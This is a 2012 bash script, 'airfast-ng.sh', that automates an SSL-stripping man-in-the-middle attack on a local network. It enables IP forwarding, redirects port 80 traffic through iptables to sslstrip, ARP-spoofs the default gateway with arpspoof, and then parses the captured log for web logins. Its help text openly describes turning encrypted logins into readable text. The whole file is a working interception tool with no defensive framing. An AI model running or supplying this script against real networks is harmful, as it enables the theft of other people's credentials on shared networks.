#!/bin/bash
#***********************************************#
# airfast-ng.sh                                 #
# Written by p3rk1ns                            #
# July 2, 2012                                  #
#                                               #
# Automate SSLStrip and parse results           #
#                                               #
#***********************************************#
# Variables
intf=wlan0
gateway=192.168.1.1

function help()
{
	echo ""
	echo "  (C)opyright 2012 p3rk1ns ~ Automate SSLStrip
	
  Usage: bash sslstrip.sh -i [interface] -d [Default Gateway] -? [help]

  Options: 

    -i  --- Internet Interface  e.g. wlan0
    -d  --- Default Gateway  e.g. 192.168.1.1
    -?  --- Help menu

  What is sslstrip:
    
    sslstrip is a MITM tool that implements Moxie Marlinspike's SSL 
    stripping attacks. When the MITM is connected to an AP, the SSL
    traffic (web logins) is stripped into readable text and output 
    to sslstrip.log, then parsed by z3ros3c@gmail.com's script.
"
	exit 1
}

function ssl_strip()
{
	echo > /pentest/web/sslstrip/sslstrip.log
	#echo "forwarding ipv4 packets..."
	echo 1 > /proc/sys/net/ipv4/ip_forward
	#echo "fixing tables..."
	iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 4444
	#echo "starting sslstrip..."
	python /pentest/web/sslstrip/sslstrip.py -l 4444 &
	tail -f /root/Desktop/auto/SSL_auto/sslstrip.log &
	#echo "arpspoofing clients..."
	gnome-terminal -x "/root/Desktop/auto/SSL_auto/parseSSL.sh"
	clear
	echo "waiting for clients to login..."
	arpspoof -i $intf $gateway &> /root/Desktop/auto/SSL_auto/logs/arpspoof.log

	echo "stopping processes..."
	pkill -9 arpspoof
	pkill -9 python
	pkill -9 tail
	pkill -9 parseSSL.sh
	rm /root/Desktop/auto/SSL_auto/logs/*
	rm /root/Desktop/auto/SSL_auto/arpspoof.log
	clear
	python /root/Desktop/auto/SSL_auto/ParseLog.py
}

function checkInt()
{
	ping -c 2 www.google.com > /dev/null
	    if [ "$?" -eq 0 ] 
	    then
		ssl_strip
	    else
		clear
		echo "Internet not connected..."
	    fi
}

while getopts "i:d:?" OPTIONS; do
	case ${OPTIONS} in
	   i ) intf=$OPTARG;;
	   d ) gateway=$OPTARG;;
	   ? ) help;;
	   * ) display error "Unknown option.";;
	esac
done

checkInt
#echo "$intf , $gateway"
#arpspoof -i wlan0 -t 192.168.1.103 192.168.1.1
